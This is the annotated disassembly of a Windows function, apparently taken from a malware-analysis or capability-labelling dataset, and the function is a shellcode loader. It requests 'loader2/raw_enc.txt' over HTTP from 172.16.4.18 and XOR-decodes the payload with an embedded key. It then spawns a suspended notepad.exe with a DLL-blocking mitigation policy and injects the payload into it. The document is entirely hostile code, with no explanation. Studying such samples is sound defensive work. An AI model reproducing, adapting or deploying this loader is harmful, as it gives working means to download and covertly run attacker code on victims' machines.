Function at 0x140001420
Capabilities:
Connect socket
Convert ip address from string
Create process on windows
Encode data using xor
Initialize winsock library
Protect spawned processes with mitigation policies
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor edi, edi
mov ecx, 0x202
lea rdx, [rbp + 0xd0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x1400014aa
lea rdx, str.____Error_initializing_Winsock:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001cca
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x1400014de
lea rdx, str.____Error_creating_socket
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
jmp 0x140001490
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov word [rbp + 0x68], bx
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x6a], ax
lea r8, [rbp + 0x6c]
lea rdx, str.172.16.4.18
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x140001528
lea rdx, str.____Error_converting_IP_address
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
jmp 0x140001490
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x68]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001563
lea rdx, str.____Error_connecting_to_server
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x90], send
mov ecx, 0x30
call fcn.140002ec0
mov rdx, rax
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0x25
mov qword [rbp + 0x90], 0x2f
movups xmm0, xmmword [str.GET__loader2_raw_enc.txt_HTTP_1.1_r_n_r_n]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004528]
movups xmmword [rax + 0x10], xmm1
mov eax, dword [0x140004538]
mov dword [rdx + 0x20], eax
movzx eax, byte [0x14000453c]
mov byte [rdx + 0x24], al
mov byte [rdx + 0x25], dil
xor r9d, r9d
mov r8d, dword [rbp + 0x88]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r13, rdi
mov qword [rbp + 0x30], rdi
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x270]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001648
nop
mov r9d, eax
lea r8, [rbp + 0x270]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x20]
call fcn.140002490
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x270]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001610
mov r13, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x28]
mov rbx, rsi
mov r12, qword [rbp + 0x20]
sub rbx, r12
lea rdx, str.___Received
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001eb0
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._bytes
call fcn.140001eb0
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov r15, rdi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rdi
cmp rbx, 4
jl 0x1400017f5
lea r10, [rsi - 4]
mov r9, r12
lea rbx, str._r_n_r_n
lea r11, [0x14000455c]
nop dword [rax]
mov rax, rbx
mov r8, r9
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax + r8]
movsx ecx, byte [rax]
cmp edx, ecx
jne 0x14000175b
inc rax
cmp rax, r11
jne 0x1400016e0
cmp r9, rsi
je 0x1400017f5
xorps xmm0, xmm0
lea r15, [r9 + 4]
movdqu xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rdi
sub rsi, r15
je 0x14000179a
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140001d00
cmp rsi, 0x1000
jb 0x14000176c
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x140001d06
call fcn.140002ec0
test rax, rax
je 0x1400017db
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001777
cmp r9, r10
je 0x1400017f5
inc r9
jmp 0x1400016d0
mov rcx, rsi
call fcn.140002ec0
mov rbx, rax
mov qword [rbp + 0x38], rbx
lea rdi, [rbx + rsi]
mov qword [rbp + 0x48], rdi
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov qword [rbp + 0x40], rdi
jmp 0x1400017a2
mov r8, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
sub r8, rbx
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.140002310
nop
test rbx, rbx
je 0x1400017ed
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x1400017e2
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.140002efc
mov r15, qword [rbp + 8]
xor edi, edi
jmp 0x140001818
lea rdx, str.____Error_parsing_HTTP_response
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov ecx, 0x30
call fcn.140002ec0
mov r14, rax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb0], 0x20
mov qword [rbp + 0xb8], 0x2f
movups xmm0, xmmword [str.joagkla5rp3m8mq8hjgk86fl96plz0nt]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004590]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], 0
xorps xmm0, xmm0
mov rbx, qword [rbp + 0x10]
sub rbx, r15
movdqu xmmword [rbp + 0x50], xmm0
mov rsi, rdi
mov qword [rbp + 0x60], rdi
je 0x1400018fe
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140001d0c
cmp rbx, 0x1000
jb 0x1400018d1
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140001cfa
call fcn.140002ec0
test rax, rax
je 0x140001bec
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400018dc
mov rcx, rbx
call fcn.140002ec0
mov rdi, rax
mov qword [rbp + 0x50], rdi
lea rsi, [rdi + rbx]
mov qword [rbp + 0x60], rsi
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov r10, rsi
mov qword [rbp + 0x58], rsi
jmp 0x140001906
mov r10, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x50]
xor r8d, r8d
test rbx, rbx
je 0x14000193d
mov r9, r15
sub r9, rdi
nop dword [rax]
nop dword [rax + rax]
mov rax, r8
and eax, 0x1f
lea rdx, [rdi + r8]
movzx ecx, byte [r9 + rdx]
xor cl, byte [rax + r14]
mov byte [rdx], cl
inc r8
cmp r8, rbx
jb 0x140001920
sub r10, rdi
mov qword [rsp + 0x60], r10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], rax
mov qword [rsp + 0x58], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x58]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
mov qword [rsp + 0x50], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
movabs rax, 0x100000000000
mov qword [rbp + 0x98], rax
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x98]
xor edx, edx
mov r8d, 0x20007
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov qword [rbp - 8], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:windows_system32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001a91
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.____Could_not_create_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
mov rcx, rax
lea rdx, [0x140001400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x60]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rbx
mov r9, qword [rsp + 0x60]
mov r8, rdi
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.140002a50
mov ebx, eax
test eax, eax
je 0x140001b31
lea rdx, str.____Could_not_write_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
mov rcx, rax
lea rdx, [0x140001400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call fcn.140002ad0
mov ebx, eax
test eax, eax
je 0x140001b98
lea rdx, str.____Could_not_modify_memory_protections
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001eb0
mov rcx, rax
lea rdx, [0x140001400]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002080]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
call fcn.140002e10
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.140002910
nop
test rdi, rdi
je 0x140001bff
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x140001bf3
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bf3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rdi
call fcn.140002efc
nop
mov edx, 0x30
mov rcx, r14
call fcn.140002efc
nop
test r15, r15
je 0x140001c4a
mov rdx, qword [rbp + 0x18]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x140001c41
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140002efc
nop
test r12, r12
je 0x140001c87
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x140001c7b
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r13
mov rcx, r12
call fcn.140002efc
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140001cc8
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002efc
xor eax, eax
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.140002ea0
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001360
nop
call fcn.140002470
int3
call fcn.140001360
nop
call fcn.140002470
int3